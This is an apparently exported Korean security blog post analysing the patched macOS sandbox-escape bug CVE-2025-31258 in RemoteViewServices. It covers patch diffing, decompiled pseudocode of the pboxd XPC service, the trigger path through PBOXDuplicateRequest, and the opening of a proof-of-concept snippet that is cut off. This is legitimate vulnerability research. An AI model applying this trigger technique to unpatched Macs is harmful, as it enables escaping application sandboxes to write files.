{"id":3902,"date":"2025-07-31T09:33:30","date_gmt":"2025-07-31T00:33:30","guid":{"rendered":"https:\/\/h4ck.kr\/?p=3902"},"modified":"2025-07-31T09:33:32","modified_gmt":"2025-07-31T00:33:32","slug":"1day-cve-2025-31258-remoteviewservices-%ec%83%8c%eb%93%9c%eb%b0%95%ec%8a%a4-%ec%99%b8%ec%9d%98-%ec%a0%9c%ed%95%9c%ec%a0%81-%ed%8c%8c%ec%9d%bc-%ec%93%b0%ea%b8%b0-%ec%b7%a8%ec%95%bd%ec%a0%90","status":"publish","type":"post","link":"https:\/\/h4ck.kr\/?p=3902","title":{"rendered":"[1day] CVE-2025-31258: RemoteViewServices: \uc0cc\ub4dc\ubc15\uc2a4 \uc678\uc758 \uc81c\ud55c\uc801 \ud30c\uc77c \uc4f0\uae30 \ucde8\uc57d\uc810"},"content":{"rendered":"\n<p><a href=\"http:\/\/support.apple.com\/ko-kr\/122716\">http:\/\/support.apple.com\/ko-kr\/122716<\/a><\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"244\" src=\"https:\/\/h4ck.kr\/wp-content\/uploads\/2025\/07\/Screenshot-2025-07-30-at-9.44.42-PM-1024x244.png\" alt=\"\" class=\"wp-image-3903\" srcset=\"https:\/\/h4ck.kr\/wp-content\/uploads\/2025\/07\/Screenshot-2025-07-30-at-9.44.42-PM-1024x244.png 1024w, https:\/\/h4ck.kr\/wp-content\/uploads\/2025\/07\/Screenshot-2025-07-30-at-9.44.42-PM-300x71.png 300w, https:\/\/h4ck.kr\/wp-content\/uploads\/2025\/07\/Screenshot-2025-07-30-at-9.44.42-PM-768x183.png 768w, https:\/\/h4ck.kr\/wp-content\/uploads\/2025\/07\/Screenshot-2025-07-30-at-9.44.42-PM-1536x365.png 1536w, https:\/\/h4ck.kr\/wp-content\/uploads\/2025\/07\/Screenshot-2025-07-30-at-9.44.42-PM.png 1908w\" sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/figure>\n\n\n\n<p>\ud574\ub2f9 \ucde8\uc57d\uc810\uc740 macOS Sequoia 15.5\uc5d0\uc11c \ud328\uce58\ub418\uc5c8\uc73c\uba70, \uc0cc\ub4dc\ubc15\uc2a4\ub97c \ud0c8\ucd9c\ud560 \uc218 \uc788\ub294 \ucde8\uc57d\uc810\uc774\ub2e4.<\/p>\n\n\n\n<p>RemoteViewServices \uc11c\ube44\uc2a4\uc5d0\uc11c \ucde8\uc57d\uc810\uc774 \ubc1c\uc0dd\ud55c\ub2e4.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">Diffing \/ Analysis<\/h2>\n\n\n\n<p>\ucde8\uc57d\ud55c macOS 15.4.1 \ubc84\uc804\uacfc \ud328\uce58\ub41c 15.5 \ub300\uc0c1\uc73c\ub85c \ub514\ud551\uc744 \uc9c4\ud589\ud558\uc600\ub2e4.<\/p>\n\n\n\n<p>\ucde8\uc57d\uc810\uc774 \ubc1c\uacac\ub41c \ubc14\uc774\ub108\ub9ac\ub294 \ub2e4\uc74c\uacfc \uac19\ub2e4.<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>\/System\/Library\/PrivateFrameworks\/RemoteViewServices.framework\/XPCServices\/com.apple.security.pboxd.xpc\/Contents\/MacOS\/com.apple.security.pboxd<\/li>\n<\/ul>\n\n\n\n<figure class=\"wp-block-image size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"107\" src=\"https:\/\/h4ck.kr\/wp-content\/uploads\/2025\/07\/Screenshot-2025-07-30-at-10.31.33-PM-1024x107.png\" alt=\"\" class=\"wp-image-3904\" srcset=\"https:\/\/h4ck.kr\/wp-content\/uploads\/2025\/07\/Screenshot-2025-07-30-at-10.31.33-PM-1024x107.png 1024w, https:\/\/h4ck.kr\/wp-content\/uploads\/2025\/07\/Screenshot-2025-07-30-at-10.31.33-PM-300x31.png 300w, https:\/\/h4ck.kr\/wp-content\/uploads\/2025\/07\/Screenshot-2025-07-30-at-10.31.33-PM-768x80.png 768w, https:\/\/h4ck.kr\/wp-content\/uploads\/2025\/07\/Screenshot-2025-07-30-at-10.31.33-PM-1536x160.png 1536w, https:\/\/h4ck.kr\/wp-content\/uploads\/2025\/07\/Screenshot-2025-07-30-at-10.31.33-PM-2048x214.png 2048w\" sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/figure>\n\n\n\n<p>\ubc14\uc774\ub108\ub9ac\ub97c \ucd94\ucd9c\ud574\uc11c Bindiff\ub97c \ud1b5\ud574 \ube44\uad50\ud574\ubd24\uc744 \ub54c, \ud568\uc218 1\uac1c\uc5d0\uc11c \ucc28\uc774\uc810\uc774 \uc874\uc7ac\ud558\uc600\ub2e4.<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>-[PBOXRelatedItemSession _handleDuplicateRequest:withReply:]<\/li>\n<\/ul>\n\n\n\n<p>\ud574\ub2f9 \uba54\uc18c\ub4dc\ub97c \uc0b4\ud3b4\ubcf4\uba74 \ub2e4\uc74c\uacfc \uac19\ub2e4.<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>macOS 15.4.1 \ucde8\uc57d\ud55c \ubc84\uc804<\/li>\n<\/ul>\n\n\n\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"generic\" data-enlighter-theme=\"\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\">id __cdecl -[PBOXRelatedItemSession _requestDuplicateDocument:withDuplicateName:error:](\n        PBOXRelatedItemSession *self,\n        SEL a2,\n        id a3,\n        id a4,\n        id *a5)\n{\n  NSError *v5; \/\/ x0\n  NSError *v6; \/\/ x0\n  NSError *v7; \/\/ x0\n  id v8; \/\/ x0\n  id v9; \/\/ x0\n  NSError *v10; \/\/ x0\n  NSError *v11; \/\/ x0\n  id v12; \/\/ x0\n  void *v13; \/\/ x0\n  NSError *v14; \/\/ x0\n  NSString *v15; \/\/ x8\n  id v16; \/\/ x0\n  void *v17; \/\/ x0\n  NSError *v19; \/\/ [xsp+38h] [xbp-1E8h]\n  id v20; \/\/ [xsp+40h] [xbp-1E0h]\n  __int64 v21; \/\/ [xsp+48h] [xbp-1D8h]\n  NSError *v22; \/\/ [xsp+50h] [xbp-1D0h]\n  NSFileManager *v23; \/\/ [xsp+58h] [xbp-1C8h]\n  unsigned __int8 v24; \/\/ [xsp+64h] [xbp-1BCh]\n  NSError *v25; \/\/ [xsp+68h] [xbp-1B8h]\n  id v26; \/\/ [xsp+70h] [xbp-1B0h]\n  int *v27; \/\/ [xsp+78h] [xbp-1A8h]\n  unsigned int v28; \/\/ [xsp+84h] [xbp-19Ch]\n  int *p_pid; \/\/ [xsp+90h] [xbp-190h]\n  unsigned int v30; \/\/ [xsp+9Ch] [xbp-184h]\n  NSError *v31; \/\/ [xsp+A0h] [xbp-180h]\n  id v32; \/\/ [xsp+B0h] [xbp-170h]\n  id v33; \/\/ [xsp+B8h] [xbp-168h]\n  unsigned __int8 v34; \/\/ [xsp+C4h] [xbp-15Ch]\n  NSError *v35; \/\/ [xsp+C8h] [xbp-158h]\n  id v36; \/\/ [xsp+D8h] [xbp-148h]\n  id v37; \/\/ [xsp+E0h] [xbp-140h]\n  int v38; \/\/ [xsp+ECh] [xbp-134h]\n  NSError *v39; \/\/ [xsp+F0h] [xbp-130h]\n  id v40; \/\/ [xsp+F8h] [xbp-128h]\n  id v41; \/\/ [xsp+100h] [xbp-120h]\n  NSArray *v42; \/\/ [xsp+108h] [xbp-118h]\n  void *v45; \/\/ [xsp+120h] [xbp-100h]\n  void *v46; \/\/ [xsp+128h] [xbp-F8h]\n  void *v47; \/\/ [xsp+138h] [xbp-E8h]\n  _OWORD v48[2]; \/\/ [xsp+140h] [xbp-E0h] BYREF\n  _OWORD v49[2]; \/\/ [xsp+160h] [xbp-C0h] BYREF\n  id v50; \/\/ [xsp+188h] [xbp-98h] BYREF\n  id v51; \/\/ [xsp+190h] [xbp-90h] BYREF\n  char v52; \/\/ [xsp+19Fh] [xbp-81h]\n  id v53; \/\/ [xsp+1A0h] [xbp-80h]\n  id v54; \/\/ [xsp+1A8h] [xbp-78h] BYREF\n  id v55; \/\/ [xsp+1B0h] [xbp-70h] BYREF\n  int v56; \/\/ [xsp+1BCh] [xbp-64h]\n  id v57; \/\/ [xsp+1C0h] [xbp-60h] BYREF\n  id v58; \/\/ [xsp+1C8h] [xbp-58h] BYREF\n  id v59; \/\/ [xsp+1D0h] [xbp-50h] BYREF\n  id v60; \/\/ [xsp+1D8h] [xbp-48h] BYREF\n  id *v61; \/\/ [xsp+1E0h] [xbp-40h]\n  id v62; \/\/ [xsp+1E8h] [xbp-38h] BYREF\n  id location[2]; \/\/ [xsp+1F0h] [xbp-30h] BYREF\n  PBOXRelatedItemSession *v64; \/\/ [xsp+200h] [xbp-20h]\n  id v65; \/\/ [xsp+208h] [xbp-18h]\n  __int64 vars8; \/\/ [xsp+228h] [xbp+8h]\n\n  v64 = self;\n  location[1] = (id)a2;\n  location[0] = 0;\n  objc_storeStrong(location, a3);\n  v62 = 0;\n  objc_storeStrong(&amp;v62, a4);\n  v61 = a5;\n  v60 = 0;\n  v45 = objc_retainAutoreleasedReturnValue(objc_msgSend(location[0], \"stringByDeletingLastPathComponent\"));\n  v59 = objc_retainAutoreleasedReturnValue(objc_msgSend(v45, \"stringByPBOXRealPath\"));\n  objc_release(v45);\n  v46 = objc_retainAutoreleasedReturnValue(objc_msgSend(v62, \"stringByDeletingLastPathComponent\"));\n  v58 = objc_retainAutoreleasedReturnValue(objc_msgSend(v46, \"stringByPBOXRealPath\"));\n  objc_release(v46);\n  if ( ((unsigned int)objc_msgSend(v59, \"isEqualToString:\", v58) &amp; 1) != 0 )\n    goto LABEL_8;\n  v42 = objc_retainAutoreleasedReturnValue(NSSearchPathForDirectoriesInDomains(NSDocumentDirectory, 1u, 1));\n  v41 = objc_retainAutoreleasedReturnValue(-[NSArray lastObject](v42, \"lastObject\"));\n  v57 = objc_retainAutoreleasedReturnValue(objc_msgSend(v41, \"stringByPBOXRealPath\"));\n  objc_release(v41);\n  objc_release(v42);\n  if ( v57 )\n  {\n    if ( ((unsigned int)objc_msgSend(v57, \"isEqualToString:\", v58) &amp; 1) != 0 )\n    {\n      v56 = 0;\n    }\n    else\n    {\n      v39 = objc_retainAutoreleasedReturnValue(\n              +[NSError errorWithDomain:code:userInfo:](\n                &amp;OBJC_CLASS___NSError,\n                \"errorWithDomain:code:userInfo:\",\n                NSPOSIXErrorDomain,\n                1,\n                0));\n      v5 = objc_autorelease(v39);\n      *v61 = v39;\n      v65 = 0;\n      v56 = 1;\n    }\n  }\n  else\n  {\n    v40 = objc_retainAutoreleasedReturnValue(+[RVSLogger defaultLogger](&amp;OBJC_CLASS___RVSLogger, \"defaultLogger\"));\n    objc_msgSend(v40, \"debug:\", CFSTR(\"NSSearchPathForDirectoriesInDomains returns no Documents directory\"));\n    objc_release(v40);\n    v65 = 0;\n    v56 = 1;\n  }\n  objc_storeStrong(&amp;v57, 0);\n  if ( !v56 )                                  \n  {\nLABEL_8:\n    v55 = objc_retainAutoreleasedReturnValue(objc_msgSend(location[0], \"lastPathComponent\"));\n    v54 = objc_retainAutoreleasedReturnValue(objc_msgSend(v62, \"lastPathComponent\"));\n    v36 = objc_retainAutoreleasedReturnValue(objc_msgSend(v55, \"pathExtension\"));\n    v37 = objc_retainAutoreleasedReturnValue(objc_msgSend(v54, \"pathExtension\"));\n    v52 = 0;\n    LOBYTE(v38) = 0;\n    if ( ((unsigned __int8)objc_msgSend(v36, \"isEqualToString:\") &amp; 1) == 0 )\n    {\n      v53 = objc_retainAutoreleasedReturnValue(objc_msgSend(v54, \"pathExtension\"));\n      v52 = 1;\n      v38 = sub_10001332C(v53) ^ 1;\n    }\n    if ( (v52 &amp; 1) != 0 )\n      objc_release(v53);\n    objc_release(v37);\n    objc_release(v36);\n    if ( (v38 &amp; 1) != 0 )\n    {\n      v35 = objc_retainAutoreleasedReturnValue(\n              +[NSError errorWithDomain:code:userInfo:](\n                &amp;OBJC_CLASS___NSError,\n                \"errorWithDomain:code:userInfo:\",\n                NSPOSIXErrorDomain,\n                1,\n                0));\n      v6 = objc_autorelease(v35);\n      *v61 = v35;\n      v65 = 0;\n      v56 = 1;\n    }\n    else\n    {\n      v33 = objc_retainAutoreleasedReturnValue(objc_msgSend(v54, \"stringByDeletingPathExtension\"));\n      v32 = objc_retainAutoreleasedReturnValue(objc_msgSend(v55, \"stringByDeletingPathExtension\"));\n      v34 = (unsigned __int8)+[NSDocument _validateDuplicateDocumentName:withOriginalName:](\n                               &amp;OBJC_CLASS___NSDocument,\n                               \"_validateDuplicateDocumentName:withOriginalName:\",\n                               v33);\n      objc_release(v32);\n      objc_release(v33);\n      if ( (v34 &amp; 1) != 0 )\n      {\n        v51 = objc_retainAutoreleasedReturnValue(objc_msgSend(v59, \"stringByAppendingPathComponent:\", v55));\n        v50 = objc_retainAutoreleasedReturnValue(objc_msgSend(v58, \"stringByAppendingPathComponent:\", v54));\n        p_pid = &amp;v64->_pid;\n        v30 = SANDBOX_CHECK_NO_REPORT | 1 | SANDBOX_CHECK_CANONICAL;\n        v8 = objc_retainAutorelease(v51);\n        objc_msgSend(v51, \"UTF8String\");\n        v49[0] = *(_OWORD *)p_pid;\n        v49[1] = *((_OWORD *)p_pid + 1);\n        if ( (unsigned int)sandbox_check_by_audit_token(v49, \"file-write-data\", v30)\n          &amp;&amp; (v27 = &amp;v64->_pid,\n              v28 = SANDBOX_CHECK_NO_REPORT | 1 | SANDBOX_CHECK_CANONICAL,\n              v26 = v51,\n              v9 = objc_retainAutorelease(v51),\n              objc_msgSend(v26, \"UTF8String\"),\n              v48[0] = *(_OWORD *)v27,\n              v48[1] = *((_OWORD *)v27 + 1),\n              (unsigned int)sandbox_check_by_audit_token(v48, \"file-read-data\", v28)) )\n        {\n          v25 = objc_retainAutoreleasedReturnValue(\n                  +[NSError errorWithDomain:code:userInfo:](\n                    &amp;OBJC_CLASS___NSError,\n                    \"errorWithDomain:code:userInfo:\",\n                    NSPOSIXErrorDomain,\n                    1,\n                    0));\n          v10 = objc_autorelease(v25);\n          *v61 = v25;\n          v65 = 0;\n          v56 = 1;\n        }\n        else\n        {\n          v23 = objc_retainAutoreleasedReturnValue(+[NSFileManager defaultManager](&amp;OBJC_CLASS___NSFileManager, \"defaultManager\"));\n          v24 = -[NSFileManager fileExistsAtPath:](v23, \"fileExistsAtPath:\", v50);\n          objc_release(v23);\n          if ( (v24 &amp; 1) != 0 )\n          {\n            v22 = objc_retainAutoreleasedReturnValue(\n                    +[NSError errorWithDomain:code:userInfo:](\n                      &amp;OBJC_CLASS___NSError,\n                      \"errorWithDomain:code:userInfo:\",\n                      NSPOSIXErrorDomain,\n                      17,\n                      0));\n            v11 = objc_autorelease(v22);\n            *v61 = v22;\n            v65 = 0;\n            v56 = 1;\n          }\n          else\n          {\n            v21 = APP_SANDBOX_READ_WRITE;\n            v20 = v50;\n            v12 = objc_retainAutorelease(v50);\n            v13 = objc_msgSend(v20, \"UTF8String\");\n            v47 = (void *)sandbox_extension_issue_file(v21, v13, SANDBOX_EXTENSION_CANONICAL);\n            if ( v47 )\n            {\n              v15 = objc_retainAutoreleasedReturnValue(+[NSString stringWithUTF8String:](&amp;OBJC_CLASS___NSString, \"stringWithUTF8String:\", v47));\n              v16 = v60;\n              v60 = v15;\n              objc_release(v16);\n              free(v47);\n              v65 = objc_retain(v60);\n            }\n            else\n            {\n              v19 = objc_retainAutoreleasedReturnValue(\n                      +[NSError errorWithDomain:code:userInfo:](\n                        &amp;OBJC_CLASS___NSError,\n                        \"errorWithDomain:code:userInfo:\",\n                        NSPOSIXErrorDomain,\n                        *__error(),\n                        0));\n              v14 = objc_autorelease(v19);\n              *v61 = v19;\n              v65 = 0;\n            }\n            v56 = 1;\n          }\n        }\n        objc_storeStrong(&amp;v50, 0);\n        objc_storeStrong(&amp;v51, 0);\n      }\n      else\n      {\n        v31 = objc_retainAutoreleasedReturnValue(\n                +[NSError errorWithDomain:code:userInfo:](\n                  &amp;OBJC_CLASS___NSError,\n                  \"errorWithDomain:code:userInfo:\",\n                  NSPOSIXErrorDomain,\n                  1,\n                  0));\n        v7 = objc_autorelease(v31);\n        *v61 = v31;\n        v65 = 0;\n        v56 = 1;\n      }\n    }\n    objc_storeStrong(&amp;v54, 0);\n    objc_storeStrong(&amp;v55, 0);\n  }\n  objc_storeStrong(&amp;v58, 0);\n  objc_storeStrong(&amp;v59, 0);\n  objc_storeStrong(&amp;v60, 0);\n  objc_storeStrong(&amp;v62, 0);\n  objc_storeStrong(location, 0);\n  v17 = v65;\n  if ( ((vars8 ^ (2 * vars8)) &amp; 0x4000000000000000LL) != 0 )\n    __break(0xC471u);\n  return objc_autoreleaseReturnValue(v17);\n}\n<\/pre>\n\n\n\n<ul class=\"wp-block-list\">\n<li>macOS 15.5 \ud328\uce58\ud55c \ubc84\uc804<\/li>\n<\/ul>\n\n\n\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"generic\" data-enlighter-theme=\"\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\">void __cdecl -[PBOXRelatedItemSession _handleDuplicateRequest:withReply:](\n        PBOXRelatedItemSession *self,\n        SEL a2,\n        id a3,\n        id a4)\n{\n  id v5; \/\/ [xsp+30h] [xbp-20h] BYREF\n  id location[3]; \/\/ [xsp+38h] [xbp-18h] BYREF\n\n  location[2] = self;\n  location[1] = (id)a2;\n  location[0] = 0;\n  objc_storeStrong(location, a3);\n  v5 = 0;\n  objc_storeStrong(&amp;v5, a4);\n  objc_msgSend(v5, \"setReturnCode:\", 0);\n  objc_storeStrong(&amp;v5, 0);\n  objc_storeStrong(location, 0);\n}\n<\/pre>\n\n\n\n<p>\uc704 \ud568\uc218\ub97c \ubcf4\uba74, \ud328\uce58\ub41c \ubc84\uc804\uc5d0\uc11c\ub294 \ub9ac\ud134\ucf54\ub4dc\ub97c \ud56d\uc0c1 0\uc73c\ub85c \uc138\ud305\ud558\uace0 \ucf54\ub4dc\uac00 \uc5c4\uccad \uc9e7\uc9c0\ub9cc \ucde8\uc57d\ud55c \ubc84\uc804\uc5d0\uc11c\ub294 \uadf8\ub807\uc9c0 \uc54a\ub2e4.<\/p>\n\n\n\n<p>\ucde8\uc57d\ud55c \uba54\uc18c\ub4dc\ub97c \ud2b8\ub9ac\uac70\ud558\ub294 \ubc29\ubc95\uc740 \ub2e4\uc74c\uacfc \uac19\ub2e4.<\/p>\n\n\n\n<p>(\ub3c4\uc911\uc5d0 \ubd84\uc11d\ud558\uae30 \uadc0\ucc2e\uc544\uc11c \u2026 \uc73c\ub85c \uc0dd\ub7b5)<\/p>\n\n\n\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"generic\" data-enlighter-theme=\"\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\">\/\/ RemoteViewServices\nPBOXDuplicateRequest  \n-> _sendServiceRequest\n-> xpc_connection_send_message\n...\n\/\/ com.apple.security.pboxd\n-> -[PBOXServer run]\n-> sub_100001AEC\n-> sub_100001B50\n-> -[PBOXServer _dispatchRequestToNewSession:]\n-> sub_100001E14 \nxpc_dictionary_get_value(location[0], \"PBOXSessionTypeKey\"))\n...\nv8 = objc_alloc(&amp;OBJC_CLASS___PBOXRelatedItemSession);\n          v9 = -[PBOXRelatedItemSession initWithConnection:](v8, \"initWithConnection:\", v36);\n...\n\n-> -[PBOXRelatedItemSession initWithConnection:]\n...\n-> -[PBOXRelatedItemSession connection:didReceiveRequest:]\n-> -[PBOXRelatedItemSession _handleDuplicateRequest:withReply:]\n-> -[PBOXRelatedItemSession _requestDuplicateDocument:withDuplicateName:error:]\n<\/pre>\n\n\n\n<p>\ud2b8\ub9ac\uac70\ud558\ub294 \ubc29\ubc95\uc740 RemoteViewServices \ub77c\uc774\ube0c\ub7ec\ub9ac\uc758 PBOXDuplicateRequest \ud568\uc218\ub97c \uc0ac\uc6a9\ud558\ub294 \uac83\uc774\ub2e4.<\/p>\n\n\n\n<p>\uc800 \ud568\uc218\ub97c \ubcf4\uc558\uc744\ub54c 3\uac1c\uc758 \ub9e4\uac1c\ubcc0\uc218\ub97c \uc785\ub825\ubc1b\ub294\ub370, \uac01 \ud0c0\uc785\uc744 \ucd94\uce21\ud558\uba74 \ub2e4\uc74c\uacfc \uac19\ub2e4.<\/p>\n\n\n\n<p>\uba3c\uc800 a1,a2 \ub9e4\uac1c\ubcc0\uc218\ub294 \ud5a5\ud6c4 isFileURL \uc778\uc2a4\ud134\uc2a4 \uba54\uc18c\ub4dc\ub97c \ud638\ucd9c\ub418\uae30\uc5d0 NSURL *\ud0c0\uc785\uc774\uace0, a3\ub294 \ud5a5\ud6c4 &#8220;errorWithDomain:code:userInfo:\u201d \uba54\uc18c\ub4dc\ub97c \ud638\ucd9c\ud558\ub294\uac83\uc73c\ub85c \ubcf4\uc544 NSError *\ud0c0\uc785\uc774\ub2e4.<\/p>\n\n\n\n<p>\ub530\ub77c\uc11c NULL \ub610\ub294 \ud638\ucd9c\uacb0\uacfc \uc5d0\ub7ec\uc815\ubcf4\ub97c \uc54c\uae30 \uc704\ud574 NSError * \uac1d\uccb4\ub85c \ub4e4\uc5b4\uac00\uba74 \ub420 \uac83\uc774\uace0, a1, a2\ub294 \ud30c\uc77c \uacbd\ub85c\ub97c \ub123\uc5b4\uc8fc\uba74 \ub420 \uac83\uc774\ub2e4.<\/p>\n\n\n\n<p>a1 \u2192 PBOXRelatedItemDuplicateRequestRequestOriginalItemKey a2 \u2192 PBOXRelatedItemDuplicateRequestRequestDuplicateItemKey<\/p>\n\n\n\n<p>\uc704\uc640 \uac19\uc774 \ud0a4 \uac12\uc73c\ub85c \uc124\uc815\ub41c\ub2e4.<\/p>\n\n\n\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"generic\" data-enlighter-theme=\"\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\">__int64 __fastcall PBOXDuplicateRequest(void *a1, void *a2, _QWORD *a3)\n{\n  id v5; \/\/ x19\n  id v6; \/\/ x20\n  NSRemoteServiceRequest *v7; \/\/ x22\n  void *v8; \/\/ x23\n  void *v9; \/\/ x23\n  id v10; \/\/ x0\n  id v11; \/\/ x23\n  __int64 v12; \/\/ x21\n\n  v5 = objc_retain(a1);\n  v6 = objc_retain(a2);\n  if ( (unsigned int)objc_msgSend(v5, \"isFileURL\") &amp;&amp; ((unsigned int)objc_msgSend(v6, \"isFileURL\") &amp; 1) != 0 )\n  {\n    v7 = -[NSRemoteServiceRequest initWithType:](objc_alloc(&amp;OBJC_CLASS___NSRemoteServiceRequest), \"initWithType:\", 2);\n    if ( v7 )\n    {\n      v8 = objc_retainAutoreleasedReturnValue(objc_msgSend(v5, \"path\"));\n      -[NSRemoteServiceRequest setArgument:forKey:](\n        v7,\n        \"setArgument:forKey:\",\n        v8,\n        CFSTR(\"PBOXRelatedItemDuplicateRequestRequestOriginalItemKey\"));\n      objc_release(v8);\n      v9 = objc_retainAutoreleasedReturnValue(objc_msgSend(v6, \"path\"));\n      -[NSRemoteServiceRequest setArgument:forKey:](\n        v7,\n        \"setArgument:forKey:\",\n        v9,\n        CFSTR(\"PBOXRelatedItemDuplicateRequestRequestDuplicateItemKey\"));\n      objc_release(v9);\n      v10 = objc_retainAutoreleasedReturnValue(_sendServiceRequest(v7));\n      v11 = v10;\n      if ( v10 )\n      {\n        v12 = handleReply(v10, a3);\nLABEL_11:\n        objc_release(v11);\n        objc_release(v7);\n        goto LABEL_12;\n      }\n    }\n    else\n    {\n      v11 = objc_retainAutoreleasedReturnValue(+[RVSLogger defaultLogger](&amp;OBJC_CLASS___RVSLogger, \"defaultLogger\"));\n      objc_msgSend(v11, \"debug:\", CFSTR(\"PBOXDuplicateRequest: Could not create request object\"));\n    }\n    v12 = -1;\n    goto LABEL_11;\n  }\n  if ( a3 )\n    *a3 = objc_autorelease(objc_retainAutoreleasedReturnValue(objc_msgSend(MEMORY[0x1E8B56758], \"errorWithDomain:code:userInfo:\", *MEMORY[0x1E8B560F8], 22, 0)));\n  v12 = -1;\nLABEL_12:\n  objc_release(v6);\n  objc_release(v5);\n  return v12;\n}\n<\/pre>\n\n\n\n<p>_sendServiceRequest \uba54\uc18c\ub4dc \ud638\ucd9c\ub85c \uc774\uc5b4\uc9c0\ub294\ub370,<\/p>\n\n\n\n<p>PBOXSessionTypeKey \ud0a4\uac12\uc744 3\uc73c\ub85c \uc138\ud305\ud558\uace0 \ubcf4\ub0bc \uba54\uc2dc\uc9c0\uc640 \ud568\uaed8 com.apple.security.pboxd XPC \uc11c\ube44\uc2a4\uc640\uc758 \uc5f0\uacb0\uc744 \uc900\ube44\ud55c\uace0 \ubcf4\ub0b8\ub2e4.<\/p>\n\n\n\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"generic\" data-enlighter-theme=\"\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\">id __fastcall _sendServiceRequest(void *a1)\n{\n  id v1; \/\/ x19\n  dispatch_queue_global_s *v2; \/\/ x21\n  _xpc_connection_s *v3; \/\/ x20\n  xpc_object_t v4; \/\/ x0\n  void *v5; \/\/ x21\n  NSRemoteServiceConnection *v6; \/\/ x23\n  id v7; \/\/ x22\n  id v8; \/\/ x0\n  __CFString *v9; \/\/ x2\n  __int64 vars8; \/\/ [xsp+38h] [xbp+8h]\n\n  v1 = objc_retain(a1);\n  v2 = objc_retainAutoreleasedReturnValue(dispatch_get_global_queue(0, 0));\n  v3 = xpc_connection_create(\"com.apple.security.pboxd\", v2);\n  objc_release(v2);\n  if ( v3 )\n  {\n    v4 = xpc_dictionary_create(0, 0, 0);\n    if ( v4 )\n    {\n      v5 = v4;\n      xpc_dictionary_set_uint64(v4, \"PBOXSessionTypeKey\", 3u);\n      xpc_connection_set_event_handler(v3, &amp;__block_literal_global_2);\n      xpc_connection_resume(v3);\n      xpc_connection_send_message(v3, v5);\n      xpc_connection_suspend(v3);\n      v6 = -[NSRemoteServiceConnection initWithServiceConnection:](\n             objc_alloc(&amp;OBJC_CLASS___NSRemoteServiceConnection),\n             \"initWithServiceConnection:\",\n             v3);\n      -[NSRemoteServiceConnection resume](v6, \"resume\");\n      v7 = objc_retainAutoreleasedReturnValue(-[NSRemoteServiceConnection sendSynchronousRequest:](v6, \"sendSynchronousRequest:\", v1));\n      objc_release(v6);\n      goto LABEL_7;\n    }\n    v8 = objc_retainAutoreleasedReturnValue(+[RVSLogger defaultLogger](&amp;OBJC_CLASS___RVSLogger, \"defaultLogger\"));\n    v5 = v8;\n    v9 = CFSTR(\"_sendServiceRequest: Could not create session creation message\");\n  }\n  else\n  {\n    v8 = objc_retainAutoreleasedReturnValue(+[RVSLogger defaultLogger](&amp;OBJC_CLASS___RVSLogger, \"defaultLogger\"));\n    v5 = v8;\n    v9 = CFSTR(\"_sendServiceRequest: Could not create connection to service\");\n  }\n  objc_msgSend(v8, \"debug:\", v9);\n  v7 = 0;\nLABEL_7:\n  objc_release(v5);\n  objc_release(v3);\n  objc_release(v1);\n  if ( ((vars8 ^ (2 * vars8)) &amp; 0x4000000000000000LL) != 0 )\n    __break(0xC471u);\n  return objc_autoreleaseReturnValue(v7);\n}\n<\/pre>\n\n\n\n<p>\uc5ec\uae30\uae4c\uc9c0\uac00 RemoteViewServices \ub77c\uc774\ube0c\ub7ec\ub9ac\uc758 \ubd84\uc11d \ub0b4\uc6a9\uc774\uc5c8\ub2e4. com.apple.security.pboxd XPC \ud504\ub85c\uc138\uc2a4\uc5d0\uc11c PBOXSessionTypeKey \ud0a4 \uac12\uc744 \ube44\uad50\ud558\ub294\ub370, \ud574\ub2f9 \ud568\uc218\ub294 sub_100001E14\uc774\ub2e4.<\/p>\n\n\n\n<p>\ucd94\uc801\ud574\uc11c \ucd5c\uc885 \ucde8\uc57d\uc810\uc774 \uc788\ub294 \uba54\uc18c\ub4dc\uc778 -[PBOXRelatedItemSession _requestDuplicateDocument:withDuplicateName:error:] \uba54\uc18c\ub4dc\uc5d0 \ube0c\ub808\uc774\ud06c\ud3ec\uc778\ud2b8\ub97c \uac78\uace0,<\/p>\n\n\n\n<p>poc \ucf54\ub4dc\uc5d0 \ub098\uc640\uc788\ub4ef \ub9e4\uac1c\ubcc0\uc218\uc5d0\ub294 \uac01\uac01 \u201c\/Users\/[\uc0ac\uc6a9\uc790\uba85]\/Documents\u201d, \u201c\/Users\/[\uc0ac\uc6a9\uc790\uba85]\/Documents copy 1337\u201d\uc744 \ub123\uc5b4\uc11c PBOXDuplicateRequest \ud568\uc218\ub97c \ud638\ucd9c\ud574\ubcf8\ub2e4.<\/p>\n\n\n\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"generic\" data-enlighter-theme=\"\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\">NSString *documentsPath = [NSString stringWithFormat:@\"\/Users\/%@\/Documents\", NSUserName()];\n    \/\/_validateDuplicateDocumentName:withOriginalName: arg2\n    NSURL *documentsURL = [NSURL fileURLWithPath:documentsPath];\n\n    NSString *copiedPath =\n    [NSString 